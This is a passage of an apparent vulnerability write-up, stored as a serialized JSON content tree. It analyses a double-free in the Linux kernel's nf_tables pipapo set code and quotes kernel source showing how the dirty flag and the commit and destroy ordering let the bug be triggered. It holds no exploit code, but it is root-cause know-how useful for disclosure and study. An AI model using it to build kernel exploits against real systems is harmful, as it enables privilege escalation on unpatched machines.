",{"type":23,"tag":134,"props":51510,"children":51511},{"style":168},[51512],{"type":28,"value":1777},{"type":23,"tag":134,"props":51514,"children":51515},{"style":162},[51516],{"type":28,"value":51517},"net",{"type":23,"tag":134,"props":51519,"children":51520},{"style":179},[51521],{"type":28,"value":242},{"type":23,"tag":134,"props":51523,"children":51524},{"style":151},[51525],{"type":28,"value":9119},{"type":23,"tag":134,"props":51527,"children":51528},{"style":151},[51529],{"type":28,"value":20629},{"type":23,"tag":134,"props":51531,"children":51532},{"style":179},[51533],{"type":28,"value":50605},{"type":23,"tag":134,"props":51535,"children":51536},{"style":168},[51537],{"type":28,"value":1777},{"type":23,"tag":134,"props":51539,"children":51540},{"style":162},[51541],{"type":28,"value":50525},{"type":23,"tag":134,"props":51543,"children":51544},{"style":179},[51545],{"type":28,"value":687},{"type":23,"tag":134,"props":51547,"children":51548},{"class":136,"line":147},[51549,51553,51557,51562,51566,51571],{"type":23,"tag":134,"props":51550,"children":51551},{"style":151},[51552],{"type":28,"value":32397},{"type":23,"tag":134,"props":51554,"children":51555},{"style":151},[51556],{"type":28,"value":20629},{"type":23,"tag":134,"props":51558,"children":51559},{"style":179},[51560],{"type":28,"value":51561}," nft_set_elem ",{"type":23,"tag":134,"props":51563,"children":51564},{"style":168},[51565],{"type":28,"value":1777},{"type":23,"tag":134,"props":51567,"children":51568},{"style":162},[51569],{"type":28,"value":51570},"elem",{"type":23,"tag":134,"props":51572,"children":51573},{"style":179},[51574],{"type":28,"value":687},{"type":23,"tag":134,"props":51576,"children":51577},{"class":136,"line":185},[51578,51583,51587,51592,51596],{"type":23,"tag":134,"props":51579,"children":51580},{"style":151},[51581],{"type":28,"value":51582},"        struct",{"type":23,"tag":134,"props":51584,"children":51585},{"style":179},[51586],{"type":28,"value":51210},{"type":23,"tag":134,"props":51588,"children":51589},{"style":168},[51590],{"type":28,"value":51591},"**",{"type":23,"tag":134,"props":51593,"children":51594},{"style":162},[51595],{"type":28,"value":51219},{"type":23,"tag":134,"props":51597,"children":51598},{"style":179},[51599],{"type":28,"value":329},{"type":23,"tag":134,"props":51601,"children":51602},{"class":136,"line":221},[51603],{"type":23,"tag":134,"props":51604,"children":51605},{"style":179},[51606],{"type":28,"value":10346},{"type":23,"tag":134,"props":51608,"children":51609},{"class":136,"line":332},[51610],{"type":23,"tag":134,"props":51611,"children":51612},{"style":179},[51613],{"type":28,"value":9783},{"type":23,"tag":134,"props":51615,"children":51616},{"class":136,"line":438},[51617,51622,51626,51631,51635,51639],{"type":23,"tag":134,"props":51618,"children":51619},{"style":162},[51620],{"type":28,"value":51621}," priv",{"type":23,"tag":134,"props":51623,"children":51624},{"style":179},[51625],{"type":28,"value":13225},{"type":23,"tag":134,"props":51627,"children":51628},{"style":162},[51629],{"type":28,"value":51630},"dirty",{"type":23,"tag":134,"props":51632,"children":51633},{"style":168},[51634],{"type":28,"value":171},{"type":23,"tag":134,"props":51636,"children":51637},{"style":151},[51638],{"type":28,"value":11936},{"type":23,"tag":134,"props":51640,"children":51641},{"style":179},[51642],{"type":28,"value":182},{"type":23,"tag":134,"props":51644,"children":51645},{"class":136,"line":466},[51646],{"type":23,"tag":134,"props":51647,"children":51648},{"style":179},[51649],{"type":28,"value":9783},{"type":23,"tag":134,"props":51651,"children":51652},{"class":136,"line":479},[51653],{"type":23,"tag":134,"props":51654,"children":51655},{"style":179},[51656],{"type":28,"value":1098},{"type":23,"tag":24,"props":51658,"children":51659},{},[51660],{"type":28,"value":51661},"We also see that when the changes are commited, this flag is then unset.",{"type":23,"tag":87,"props":51663,"children":51665},{"className":15985,"code":51664,"language":315,"meta":7,"style":7},"static void nft_pipapo_commit(struct nft_set *set)\n{\n[...]\n if (!priv->dirty)\n  return;\n[...]\n priv->dirty = false;\n[...]\n}\n",[51666],{"type":23,"tag":92,"props":51667,"children":51668},{"__ignoreMap":7},[51669,51709,51716,51723,51754,51765,51772,51799,51806],{"type":23,"tag":134,"props":51670,"children":51671},{"class":136,"line":137},[51672,51676,51680,51685,51689,51693,51697,51701,51705],{"type":23,"tag":134,"props":51673,"children":51674},{"style":151},[51675],{"type":28,"value":50550},{"type":23,"tag":134,"props":51677,"children":51678},{"style":151},[51679],{"type":28,"value":50555},{"type":23,"tag":134,"props":51681,"children":51682},{"style":264},[51683],{"type":28,"value":51684}," nft_pipapo_commit",{"type":23,"tag":134,"props":51686,"children":51687},{"style":179},[51688],{"type":28,"value":272},{"type":23,"tag":134,"props":51690,"children":51691},{"style":151},[51692],{"type":28,"value":8864},{"type":23,"tag":134,"props":51694,"children":51695},{"style":179},[51696],{"type":28,"value":50605},{"type":23,"tag":134,"props":51698,"children":51699},{"style":168},[51700],{"type":28,"value":1777},{"type":23,"tag":134,"props":51702,"children":51703},{"style":162},[51704],{"type":28,"value":50525},{"type":23,"tag":134,"props":51706,"children":51707},{"style":179},[51708],{"type":28,"value":329},{"type":23,"tag":134,"props":51710,"children":51711},{"class":136,"line":147},[51712],{"type":23,"tag":134,"props":51713,"children":51714},{"style":179},[51715],{"type":28,"value":10346},{"type":23,"tag":134,"props":51717,"children":51718},{"class":136,"line":185},[51719],{"type":23,"tag":134,"props":51720,"children":51721},{"style":179},[51722],{"type":28,"value":9783},{"type":23,"tag":134,"props":51724,"children":51725},{"class":136,"line":221},[51726,51730,51734,51738,51742,51746,51750],{"type":23,"tag":134,"props":51727,"children":51728},{"style":189},[51729],{"type":28,"value":15258},{"type":23,"tag":134,"props":51731,"children":51732},{"style":179},[51733],{"type":28,"value":232},{"type":23,"tag":134,"props":51735,"children":51736},{"style":168},[51737],{"type":28,"value":20099},{"type":23,"tag":134,"props":51739,"children":51740},{"style":162},[51741],{"type":28,"value":51081},{"type":23,"tag":134,"props":51743,"children":51744},{"style":179},[51745],{"type":28,"value":13225},{"type":23,"tag":134,"props":51747,"children":51748},{"style":162},[51749],{"type":28,"value":51630},{"type":23,"tag":134,"props":51751,"children":51752},{"style":179},[51753],{"type":28,"value":329},{"type":23,"tag":134,"props":51755,"children":51756},{"class":136,"line":332},[51757,51761],{"type":23,"tag":134,"props":51758,"children":51759},{"style":189},[51760],{"type":28,"value":38697},{"type":23,"tag":134,"props":51762,"children":51763},{"style":179},[51764],{"type":28,"value":182},{"type":23,"tag":134,"props":51766,"children":51767},{"class":136,"line":438},[51768],{"type":23,"tag":134,"props":51769,"children":51770},{"style":179},[51771],{"type":28,"value":9783},{"type":23,"tag":134,"props":51773,"children":51774},{"class":136,"line":466},[51775,51779,51783,51787,51791,51795],{"type":23,"tag":134,"props":51776,"children":51777},{"style":162},[51778],{"type":28,"value":51621},{"type":23,"tag":134,"props":51780,"children":51781},{"style":179},[51782],{"type":28,"value":13225},{"type":23,"tag":134,"props":51784,"children":51785},{"style":162},[51786],{"type":28,"value":51630},{"type":23,"tag":134,"props":51788,"children":51789},{"style":168},[51790],{"type":28,"value":171},{"type":23,"tag":134,"props":51792,"children":51793},{"style":151},[51794],{"type":28,"value":8519},{"type":23,"tag":134,"props":51796,"children":51797},{"style":179},[51798],{"type":28,"value":182},{"type":23,"tag":134,"props":51800,"children":51801},{"class":136,"line":479},[51802],{"type":23,"tag":134,"props":51803,"children":51804},{"style":179},[51805],{"type":28,"value":9783},{"type":23,"tag":134,"props":51807,"children":51808},{"class":136,"line":497},[51809],{"type":23,"tag":134,"props":51810,"children":51811},{"style":179},[51812],{"type":28,"value":1098},{"type":23,"tag":24,"props":51814,"children":51815},{},[51816,51818,51823,51825,51830,51832,51837,51839,51844,51846,51852,51854,51860,51862,51867],{"type":28,"value":51817},"We can conclude that as long as we can, in the same transaction, insert a ",{"type":23,"tag":92,"props":51819,"children":51821},{"className":51820},[],[51822],{"type":28,"value":50517},{"type":28,"value":51824}," in the ",{"type":23,"tag":92,"props":51826,"children":51828},{"className":51827},[],[51829],{"type":28,"value":50525},{"type":28,"value":51831}," to make it dirty and then delete the ",{"type":23,"tag":92,"props":51833,"children":51835},{"className":51834},[],[51836],{"type":28,"value":50525},{"type":28,"value":51838},", we will be able to trigger the double-free. But there is another condition: in the commit path, if a ",{"type":23,"tag":92,"props":51840,"children":51842},{"className":51841},[],[51843],{"type":28,"value":50525},{"type":28,"value":51845},"'s ",{"type":23,"tag":92,"props":51847,"children":51849},{"className":51848},[],[51850],{"type":28,"value":51851},"->commit()",{"type":28,"value":51853}," method is executed before its ",{"type":23,"tag":92,"props":51855,"children":51857},{"className":51856},[],[51858],{"type":28,"value":51859},"->destroy()",{"type":28,"value":51861}," method, then the ",{"type":23,"tag":92,"props":51863,"children":51865},{"className":51864},[],[51866],{"type":28,"value":51630},{"type":28,"value":51868}," flag will be unset, and we won't be able to trigger the double-free.",{"type":23,"tag":24,"props":51870,"children":51871},{},[51872],{"type":28,"value":51873},"Let's once again refer to the code and see how these methods are called.",{"type":23,"tag":87,"props":51875,"children":51877},{"className":15985,"code":51876,"language":315,"meta":7,"style":7},"static int nf_tables_commit(struct net *net, struct sk_buff *skb)\n{\n[...]\n  case NFT_MSG_DELSET:\n  case NFT_MSG_DESTROYSET: // [1]\n   nft_trans_set(trans)->dead = 1; // [2]\n   list_del_rcu(&nft_trans_set(trans)->list);\n   nf_tables_set_notify(&trans->ctx, nft_trans_set(trans),\n          trans->msg_type, GFP_KERNEL);\n   break;\n  case NFT_MSG_NEWSETELEM: // [3]\n[...]\n   if (te->set->ops->commit &&\n       list_empty(&te->set->pending_update)) {\n    list_add_tail(&te->set->pending_update,\n           &set_update_list);\n   }\n[...]\n }\n\n nft_set_commit_update(&set_update_list);\n[...]\n nf_tables_commit_release(net);\n\n return 0;\n}\n",[51878],{"type":23,"tag":92,"props":51879,"children":51880},{"__ignoreMap":7},[51881,51943,51950,51957,51965,51978,52013,52047,52089,52111,52123,52136,52143,52191,52232,52272,52285,52292,52299,52306,52313,52338,52345,52358,52365,52381],{"type":23,"tag":134,"props":51882,"children":51883},{"class":136,"line":137},[51884,51888,51892,51897,51901,51905,51909,51913,51917,51921,51925,51930,51934,51939],{"type":23,"tag":134,"props":51885,"children":51886},{"style":151},[51887],{"type":28,"value":50550},{"type":23,"tag":134,"props":51889,"children":51890},{"style":151},[51891],{"type":28,"value":50679},{"type":23,"tag":134,"props":51893,"children":51894},{"style":264},[51895],{"type":28,"value":51896}," nf_tables_commit",{"type":23,"tag":134,"props":51898,"children":51899},{"style":179},[51900],{"type":28,"value":272},{"type":23,"tag":134,"props":51902,"children":51903},{"style":151},[51904],{"type":28,"value":8864},{"type":23,"tag":134,"props":51906,"children":51907},{"style":179},[51908],{"type":28,"value":51508},{"type":23,"tag":134,"props":51910,"children":51911},{"style":168},[51912],{"type":28,"value":1777},{"type":23,"tag":134,"props":51914,"children":51915},{"style":162},[51916],{"type":28,"value":51517},{"type":23,"tag":134,"props":51918,"children":51919},{"style":179},[51920],{"type":28,"value":242},{"type":23,"tag":134,"props":51922,"children":51923},{"style":151},[51924],{"type":28,"value":8864},{"type":23,"tag":134,"props":51926,"children":51927},{"style":179},[51928],{"type":28,"value":51929}," sk_buff ",{"type":23,"tag":134,"props":51931,"children":51932},{"style":168},[51933],{"type":28,"value":1777},{"type":23,"tag":134,"props":51935,"children":51936},{"style":162},[51937],{"type":28,"value":51938},"skb",{"type":23,"tag":134,"props":51940,"children":51941},{"style":179},[51942],{"type":28,"value":329},{"type":23,"tag":134,"props":51944,"children":51945},{"class":136,"line":147},[51946],{"type":23,"tag":134,"props":51947,"children":51948},{"style":179},[51949],{"type":28,"value":10346},{"type":23,"tag":134,"props":51951,"children":51952},{"class":136,"line":185},[51953],{"type":23,"tag":134,"props":51954,"children":51955},{"style":179},[51956],{"type":28,"value":9783},{"type":23,"tag":134,"props":51958,"children":51959},{"class":136,"line":221},[51960],{"type":23,"tag":134,"props":51961,"children":51962},{"style":179},[51963],{"type":28,"value":51964},"  case NFT_MSG_DELSET:\n",{"type":23,"tag":134,"props":51966,"children":51967},{"class":136,"line":332},[51968,51973],{"type":23,"tag":134,"props":51969,"children":51970},{"style":179},[51971],{"type":28,"value":51972},"  case NFT_MSG_DESTROYSET:",{"type":23,"tag":134,"props":51974,"children":51975},{"style":141},[51976],{"type":28,"value":51977}," // [1]\n",{"type":23,"tag":134,"props":51979,"children":51980},{"class":136,"line":438},[51981,51986,51991,51996,52000,52004,52008],{"type":23,"tag":134,"props":51982,"children":51983},{"style":264},[51984],{"type":28,"value":51985},"   nft_trans_set",{"type":23,"tag":134,"props":51987,"children":51988},{"style":179},[51989],{"type":28,"value":51990},"(trans)->",{"type":23,"tag":134,"props":51992,"children":51993},{"style":162},[51994],{"type":28,"value":51995},"dead",{"type":23,"tag":134,"props":51997,"children":51998},{"style":168},[51999],{"type":28,"value":171},{"type":23,"tag":134,"props":52001,"children":52002},{"style":205},[52003],{"type":28,"value":1729},{"type":23,"tag":134,"props":52005,"children":52006},{"style":179},[52007],{"type":28,"value":48579},{"type":23,"tag":134,"props":52009,"children":52010},{"style":141},[52011],{"type":28,"value":52012}," // [2]\n",{"type":23,"tag":134,"props":52014,"children":52015},{"class":136,"line":466},[52016,52021,52025,52029,52034,52038,52043],{"type":23,"tag":134,"props":52017,"children":52018},{"style":264},[52019],{"type":28,"value":52020},"   list_del_rcu",{"type":23,"tag":134,"props":52022,"children":52023},{"style":179},[52024],{"type":28,"value":272},{"type":23,"tag":134,"props":52026,"children":52027},{"style":168},[52028],{"type":28,"value":277},{"type":23,"tag":134,"props":52030,"children":52031},{"style":264},[52032],{"type":28,"value":52033},"nft_trans_set",{"type":23,"tag":134,"props":52035,"children":52036},{"style":179},[52037],{"type":28,"value":51990},{"type":23,"tag":134,"props":52039,"children":52040},{"style":162},[52041],{"type":28,"value":52042},"list",{"type":23,"tag":134,"props":52044,"children":52045},{"style":179},[52046],{"type":28,"value":1021},{"type":23,"tag":134,"props":52048,"children":52049},{"class":136,"line":479},[52050,52055,52059,52063,52068,52072,52076,52080,52084],{"type":23,"tag":134,"props":52051,"children":52052},{"style":264},[52053],{"type":28,"value":52054},"   nf_tables_set_notify",{"type":23,"tag":134,"props":52056,"children":52057},{"style":179},[52058],{"type":28,"value":272},{"type":23,"tag":134,"props":52060,"children":52061},{"style":168},[52062],{"type":28,"value":277},{"type":23,"tag":134,"props":52064,"children":52065},{"style":162},[52066],{"type":28,"value":52067},"trans",{"type":23,"tag":134,"props":52069,"children":52070},{"style":179},[52071],{"type":28,"value":13225},{"type":23,"tag":134,"props":52073,"children":52074},{"style":162},[52075],{"type":28,"value":19758},{"type":23,"tag":134,"props":52077,"children":52078},{"style":179},[52079],{"type":28,"value":242},{"type":23,"tag":134,"props":52081,"children":52082},{"style":264},[52083],{"type":28,"value":52033},{"type":23,"tag":134,"props":52085,"children":52086},{"style":179},[52087],{"type":28,"value":52088},"(trans),\n",{"type":23,"tag":134,"props":52090,"children":52091},{"class":136,"line":497},[52092,52097,52101,52106],{"type":23,"tag":134,"props":52093,"children":52094},{"style":162},[52095],{"type":28,"value":52096},"          trans",{"type":23,"tag":134,"props":52098,"children":52099},{"style":179},[52100],{"type":28,"value":13225},{"type":23,"tag":134,"props":52102,"children":52103},{"style":162},[52104],{"type":28,"value":52105},"msg_type",{"type":23,"tag":134,"props":52107,"children":52108},{"style":179},[52109],{"type":28,"value":52110},", GFP_KERNEL);\n",{"type":23,"tag":134,"props":52112,"children":52113},{"class":136,"line":518},[52114,52119],{"type":23,"tag":134,"props":52115,"children":52116},{"style":189},[52117],{"type":28,"value":52118},"   break",{"type":23,"tag":134,"props":52120,"children":52121},{"style":179},[52122],{"type":28,"value":182},{"type":23,"tag":134,"props":52124,"children":52125},{"class":136,"line":527},[52126,52131],{"type":23,"tag":134,"props":52127,"children":52128},{"style":179},[52129],{"type":28,"value":52130},"  case NFT_MSG_NEWSETELEM:",{"type":23,"tag":134,"props":52132,"children":52133},{"style":141},[52134],{"type":28,"value":52135}," // [3]\n",{"type":23,"tag":134,"props":52137,"children":52138},{"class":136,"line":780},[52139],{"type":23,"tag":134,"props":52140,"children":52141},{"style":179},[52142],{"type":28,"value":9783},{"type":23,"tag":134,"props":52144,"children":52145},{"class":136,"line":797},[52146,52151,52155,52160,52164,52168,52172,52177,52181,52186],{"type":23,"tag":134,"props":52147,"children":52148},{"style":189},[52149],{"type":28,"value":52150},"   if",{"type":23,"tag":134,"props":52152,"children":52153},{"style":179},[52154],{"type":28,"value":232},{"type":23,"tag":134,"props":52156,"children":52157},{"style":162},[52158],{"type":28,"value":52159},"te",{"type":23,"tag":134,"props":52161,"children":52162},{"style":179},[52163],{"type":28,"value":13225},{"type":23,"tag":134,"props":52165,"children":52166},{"style":162},[52167],{"type":28,"value":50525},{"type":23,"tag":134,"props":52169,"children":52170},{"style":179},[52171],{"type":28,"value":13225},{"type":23,"tag":134,"props":52173,"children":52174},{"style":162},[52175],{"type":28,"value":52176},"ops",{"type":23,"tag":134,"props":52178,"children":52179},{"style":179},[52180],{"type":28,"value":13225},{"type":23,"tag":134,"props":52182,"children":52183},{"style":162},[52184],{"type":28,"value":52185},"commit",{"type":23,"tag":134,"props":52187,"children":52188},{"style":168},[52189],{"type":28,"value":52190}," &&\n",{"type":23,"tag":134,"props":52192,"children":52193},{"class":136,"line":814},[52194,52199,52203,52207,52211,52215,52219,52223,52228],{"type":23,"tag":134,"props":52195,"children":52196},{"style":264},[52197],{"type":28,"value":52198},"       list_empty",{"type":23,"tag":134,"props":52200,"children":52201},{"style":179},[52202],{"type":28,"value":272},{"type":23,"tag":134,"props":52204,"children":52205},{"style":168},[52206],{"type":28,"value":277},{"type":23,"tag":134,"props":52208,"children":52209},{"style":162},[52210],{"type":28,"value":52159},{"type":23,"tag":134,"props":52212,"children":52213},{"style":179},[52214],{"type":28,"value":13225},{"type":23,"tag":134,"props":52216,"children":52217},{"style":162},[52218],{"type":28,"value":50525},{"type":23,"tag":134,"props":52220,"children":52221},{"style":179},[52222],{"type":28,"value":13225},{"type":23,"tag":134,"props":52224,"children":52225},{"style":162},[52226],{"type":28,"value":52227},"pending_update",{"type":23,"tag":134,"props":52229,"children":52230},{"style":179},[52231],{"type":28,"value":34691},{"type":23,"tag":134,"props":52233,"children":52234},{"class":136,"line":827},[52235,52240,52244,52248,52252,52256,52260,52264,52268],{"type":23,"tag":134,"props":52236,"children":52237},{"style":264},[52238],{"type":28,"value":52239},"    list_add_tail",{"type":23,"tag":134,"props":52241,"children":52242},{"style":179},[52243],{"type":28,"value":272},{"type":23,"tag":134,"props":52245,"children":52246},{"style":168},[52247],{"type":28,"value":277},{"type":23,"tag":134,"props":52249,"children":52250},{"style":162},[52251],{"type":28,"value":52159},{"type":23,"tag":134,"props":52253,"children":52254},{"style":179},[52255],{"type":28,"value":13225},{"type":23,"tag":134,"props":52257,"children":52258},{"style":162},[52259],{"type":28,"value":50525},{"type":23,"tag":134,"props":52261,"children":52262},{"style":179},[52263],{"type":28,"value":13225},{"type":23,"tag":134,"props":52265,"children":52266},{"style":162},[52267],{"type":28,"value":52227},{"type":23,"tag":134,"props":52269,"children":52270},{"style":179},[52271],{"type":28,"value":687},{"type":23,"tag":134,"props":52273,"children":52274},{"class":136,"line":836},[52275,52280],{"type":23,"tag":134,"props":52276,"children":52277},{"style":168},[52278],{"type":28,"value":52279},"           &",{"type":23,"tag":134,"props":52281,"children":52282},{"style":179},[52283],{"type":28,"value":52284},"set_update_list);\n",{"type":23,"tag":134,"props":52286,"children":52287},{"class":136,"line":859},[52288],{"type":23,"tag":134,"props":52289,"children":52290},{"style":179},[52291],{"type":28,"value":34245},{"type":23,"tag":134,"props":52293,"children":52294},{"class":136,"line":868},[52295],{"type":23,"tag":134,"props":52296,"children":52297},{"style":179},[52298],{"type":28,"value":9783},{"type":23,"tag":134,"props":52300,"children":52301},{"class":136,"line":877},[52302],{"type":23,"tag":134,"props":52303,"children":52304},{"style":179},[52305],{"type":28,"value":9059},{"type":23,"tag":134,"props":52307,"children":52308},{"class":136,"line":946},[52309],{"type":23,"tag":134,"props":52310,"children":52311},{"emptyLinePlaceholder":15},[52312],{"type":28,"value":865},{"type":23,"tag":134,"props":52314,"children":52315},{"class":136,"line":954},[52316,52321,52325,52329,52334],{"type":23,"tag":134,"props":52317,"children":52318},{"style":264},[52319],{"type":28,"value":52320}," nft_set_commit_update",{"type":23,"tag":134,"props":52322,"children":52323},{"style":179},[52324],{"type":28,"value":272},{"type":23,"tag":134,"props":52326,"children":52327},{"style":168},[52328],{"type":28,"value":277},{"type":23,"tag":134,"props":52330,"children":52331},{"style":162},[52332],{"type":28,"value":52333},"set_update_list",{"type":23,"tag":134,"props":52335,"children":52336},{"style":179},[52337],{"type":28,"value":1021},{"type":23,"tag":134,"props":52339,"children":52340},{"class":136,"line":984},[52341],{"type":23,"tag":134,"props":52342,"children":52343},{"style":179},[52344],{"type":28,"value":9783},{"type":23,"tag":134,"props":52346,"children":52347},{"class":136,"line":992},[52348,52353],{"type":23,"tag":134,"props":52349,"children":52350},{"style":264},[52351],{"type":28,"value":52352}," nf_tables_commit_release",{"type":23,"tag":134,"props":52354,"children":52355},{"style":179},[52356],{"type":28,"value":52357},"(net);\n",{"type":23,"tag":134,"props":52359,"children":52360},{"class":136,"line":1024},[52361],{"type":23,"tag":134,"props":52362,"children":52363},{"emptyLinePlaceholder":15},[52364],{"type":28,"value":865},{"type":23,"tag":134,"props":52366,"children":52367},{"class":136,"line":1032},[52368,52373,52377],{"type":23,"tag":134,"props":52369,"children":52370},{"style":189},[52371],{"type":28,"value":52372}," return",{"type":23,"tag":134,"props":52374,"children":52375},{"style":205},[52376],{"type":28,"value":208},{"type":23,"tag":134,"props":52378,"children":52379},{"style":179},[52380],{"type":28,"value":182},{"type":23,"tag":134,"props":52382,"children":52383},{"class":136,"line":1092},[52384],{"type":23,"tag":134,"props":52385,"children":52386},{"style":179},[52387],{"type":28,"value":1098},{"type":23,"tag":24,"props":52389,"children":52390},{},[52391,52392,52398,52400,52405],{"type":28,"value":16084},{"type":23,"tag":92,"props":52393,"children":52395},{"className":52394},[],[52396],{"type":28,"value":52397},"nft_set_commit_update()",{"type":28,"value":52399}," function in the code above will call the ",{"type":23,"tag":92,"props":52401,"children":52403},{"className":52402},[],[52404],{"type":28,"value":51851},{"type":28,"value":52406}," method for any objects that were marked as pending an update.",{"type":23,"tag":87,"props":52408,"children":52410},{"className":15985,"code":52409,"language":315,"meta":7,"style":7},"static void nft_set_commit_update(struct list_head *set_update_list)\n{\n struct nft_set *set, *next;\n\n list_for_each_entry_safe(set, next, set_update_list, pending_update) {\n  list_del_init(&set->pending_update);\n\n  if (!set->ops->commit || set->dead) // [4]\n   continue;\n\n  set->ops->commit(set); // [5]\n }\n}\n",[52411],{"type":23,"tag":92,"props":52412,"children":52413},{"__ignoreMap":7},[52414,52454,52461,52490,52497,52510,52542,52549,52610,52621,52628,52662,52669],{"type":23,"tag":134,"props":52415,"children":52416},{"class":136,"line":137},[52417,52421,52425,52429,52433,52437,52442,52446,52450],{"type":23,"tag":134,"props":52418,"children":52419},{"style":151},[52420],{"type":28,"value":50550},{"type":23,"tag":134,"props":52422,"children":52423},{"style":151},[52424],{"type":28,"value":50555},{"type":23,"tag":134,"props":52426,"children":52427},{"style":264},[52428],{"type":28,"value":52320},{"type":23,"tag":134,"props":52430,"children":52431},{"style":179},[52432],{"type":28,"value":272},{"type":23,"tag":134,"props":52434,"children":52435},{"style":151},[52436],{"type":28,"value":8864},{"type":23,"tag":134,"props":52438,"children":52439},{"style":179},[52440],{"type":28,"value":52441}," list_head ",{"type":23,"tag":134,"props":52443,"children":52444},{"style":168},[52445],{"type":28,"value":1777},{"type":23,"tag":134,"props":52447,"children":52448},{"style":162},[52449],{"type":28,"value":52333},{"type":23,"tag":134,"props":52451,"children":52452},{"style":179},[52453],{"type":28,"value":329},{"type":23,"tag":134,"props":52455,"children":52456},{"class":136,"line":147},[52457],{"type":23,"tag":134,"props":52458,"children":52459},{"style":179},[52460],{"type":28,"value":10346},{"type":23,"tag":134,"props":52462,"children":52463},{"class":136,"line":185},[52464,52468,52472,52476,52481,52485],{"type":23,"tag":134,"props":52465,"children":52466},{"style":151},[52467],{"type":28,"value":20629},{"type":23,"tag":134,"props":52469,"children":52470},{"style":179},[52471],{"type":28,"value":50605},{"type":23,"tag":134,"props":52473,"children":52474},{"style":168},[52475],{"type":28,"value":1777},{"type":23,"tag":134,"props":52477,"children":52478},{"style":179},[52479],{"type":28,"value":52480},"set, ",{"type":23,"tag":134,"props":52482,"children":52483},{"style":168},[52484],{"type":28,"value":1777},{"type":23,"tag":134,"props":52486,"children":52487},{"style":179},[52488],{"type":28,"value":52489},"next;\n",{"type":23,"tag":134,"props":52491,"children":52492},{"class":136,"line":221},[52493],{"type":23,"tag":134,"props":52494,"children":52495},{"emptyLinePlaceholder":15},[52496],{"type":28,"value":865},{"type":23,"tag":134,"props":52498,"children":52499},{"class":136,"line":332},[52500,52505],{"type":23,"tag":134,"props":52501,"children":52502},{"style":264},[52503],{"type":28,"value":52504}," list_for_each_entry_safe",{"type":23,"tag":134,"props":52506,"children":52507},{"style":179},[52508],{"type":28,"value":52509},"(set, next, set_update_list, pending_update) {\n",{"type":23,"tag":134,"props":52511,"children":52512},{"class":136,"line":438},[52513,52518,52522,52526,52530,52534,52538],{"type":23,"tag":134,"props":52514,"children":52515},{"style":264},[52516],{"type":28,"value":52517},"  list_del_init",{"type":23,"tag":134,"props":52519,"children":52520},{"style":179},[52521],{"type":28,"value":272},{"type":23,"tag":134,"props":52523,"children":52524},{"style":168},[52525],{"type":28,"value":277},{"type":23,"tag":134,"props":52527,"children":52528},{"style":162},[52529],{"type":28,"value":50525},{"type":23,"tag":134,"props":52531,"children":52532},{"style":179},[52533],{"type":28,"value":13225},{"type":23,"tag":134,"props":52535,"children":52536},{"style":162},[52537],{"type":28,"value":52227},{"type":23,"tag":134,"props":52539,"children":52540},{"style":179},[52541],{"type":28,"value":1021},{"type":23,"tag":134,"props":52543,"children":52544},{"class":136,"line":466},[52545],{"type":23,"tag":134,"props":52546,"children":52547},{"emptyLinePlaceholder":15},[52548],{"type":28,"value":865},{"type":23,"tag":134,"props":52550,"children":52551},{"class":136,"line":479},[52552,52556,52560,52564,52568,52572,52576,52580,52584,52588,52593,52597,52601,52605],{"type":23,"tag":134,"props":52553,"children":52554},{"style":189},[52555],{"type":28,"value":30889},{"type":23,"tag":134,"props":52557,"children":52558},{"style":179},[52559],{"type":28,"value":232},{"type":23,"tag":134,"props":52561,"children":52562},{"style":168},[52563],{"type":28,"value":20099},{"type":23,"tag":134,"props":52565,"children":52566},{"style":162},[52567],{"type":28,"value":50525},{"type":23,"tag":134,"props":52569,"children":52570},{"style":179},[52571],{"type":28,"value":13225},{"type":23,"tag":134,"props":52573,"children":52574},{"style":162},[52575],{"type":28,"value":52176},{"type":23,"tag":134,"props":52577,"children":52578},{"style":179},[52579],{"type":28,"value":13225},{"type":23,"tag":134,"props":52581,"children":52582},{"style":162},[52583],{"type":28,"value":52185},{"type":23,"tag":134,"props":52585,"children":52586},{"style":168},[52587],{"type":28,"value":23187},{"type":23,"tag":134,"props":52589,"children":52590},{"style":162},[52591],{"type":28,"value":52592}," set",{"type":23,"tag":134,"props":52594,"children":52595},{"style":179},[52596],{"type":28,"value":13225},{"type":23,"tag":134,"props":52598,"children":52599},{"style":162},[52600],{"type":28,"value":51995},{"type":23,"tag":134,"props":52602,"children":52603},{"style":179},[52604],{"type":28,"value":296},{"type":23,"tag":134,"props":52606,"children":52607},{"style":141},[52608],{"type":28,"value":52609}," // [4]\n",{"type":23,"tag":134,"props":52611,"children":52612},{"class":136,"line":497},[52613,52617],{"type":23,"tag":134,"props":52614,"children":52615},{"style":189},[52616],{"type":28,"value":50997},{"type":23,"tag":134,"props":52618,"children":52619},{"style":179},[52620],{"type":28,"value":182},{"type":23,"tag":134,"props":52622,"children":52623},{"class":136,"line":518},[52624],{"type":23,"tag":134,"props":52625,"children":52626},{"emptyLinePlaceholder":15},[52627],{"type":28,"value":865},{"type":23,"tag":134,"props":52629,"children":52630},{"class":136,"line":527},[52631,52636,52640,52644,52648,52652,52657],{"type":23,"tag":134,"props":52632,"children":52633},{"style":162},[52634],{"type":28,"value":52635},"  set",{"type":23,"tag":134,"props":52637,"children":52638},{"style":179},[52639],{"type":28,"value":13225},{"type":23,"tag":134,"props":52641,"children":52642},{"style":162},[52643],{"type":28,"value":52176},{"type":23,"tag":134,"props":52645,"children":52646},{"style":179},[52647],{"type":28,"value":13225},{"type":23,"tag":134,"props":52649,"children":52650},{"style":264},[52651],{"type":28,"value":52185},{"type":23,"tag":134,"props":52653,"children":52654},{"style":179},[52655],{"type":28,"value":52656},"(set);",{"type":23,"tag":134,"props":52658,"children":52659},{"style":141},[52660],{"type":28,"value":52661}," // [5]\n",{"type":23,"tag":134,"props":52663,"children":52664},{"class":136,"line":780},[52665],{"type":23,"tag":134,"props":52666,"children":52667},{"style":179},[52668],{"type":28,"value":9059},{"type":23,"tag":134,"props":52670,"children":52671},{"class":136,"line":797},[52672],{"type":23,"tag":134,"props":52673,"children":52674},{"style":179},[52675],{"type":28,"value":1098},{"type":23,"tag":24,"props":52677,"children":52678},{},[52679,52681,52687,52689,52694,52695,52700],{"type":28,"value":52680},"Later on, the ",{"type":23,"tag":92,"props":52682,"children":52684},{"className":52683},[],[52685],{"type":28,"value":52686},"nf_tables_commit_release()",{"type":28,"value":52688}," function is called to free any objects that were marked for release, and eventually calls the ",{"type":23,"tag":92,"props":52690,"children":52692},{"className":52691},[],[52693],{"type":28,"value":50525},{"type":28,"value":51845},{"type":23,"tag":92,"props":52696,"children":52698},{"className":52697},[],[52699],{"type":28,"value":51859},{"type":28,"value":52701}," 